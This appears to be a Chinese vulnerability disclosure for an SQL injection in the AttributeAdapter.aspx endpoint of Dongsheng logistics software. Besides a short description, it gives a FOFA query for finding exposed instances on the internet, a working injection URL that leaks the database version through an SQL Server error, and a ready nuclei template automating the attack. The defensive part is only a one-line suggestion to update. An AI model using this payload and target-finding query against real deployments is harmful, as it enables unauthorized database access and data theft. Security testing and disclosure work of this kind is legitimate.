免责声明
本文章仅供学习与交流,请勿用于非法用途,均由使用者本人负责,文章作者不为此承担任何责任
漏洞描述
在AttributeAdapter.aspx接口处存在sql注入漏洞,攻击者可以通过此漏洞获取敏感信息
fofa
body="FeeCodes/CompanysAdapter.aspx" || body="dhtmlxcombo_whp.js" || body="dongshengsoft" || body="theme/dhtmlxcombo.css"
漏洞复现
http://ip/FeeCodes/AttributeAdapter.aspx?handle=attrinfo&attrid=1%27%20and%201=@@version%20--
nuclei
id: sql-inject-dongshengwuliu-AttributeAdapter
info:
name: '东胜物流软件AttributeAdapter.aspxSQL注入'
author: 'xl'
severity: severity
http:
- raw:
- |+
GET //FeeCodes/AttributeAdapter.aspx?handle=attrinfo&attrid=1%27%20and%201=@@version%20-- HTTP/1.1
Host: {{Hostname}}
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
matchers-condition: and
matchers:
- type: binary
part: body
binary:
- 20e580bc20274d6963726f736f66742053514c20
- type: status
status:
- 500
修复建议
更新到最新版本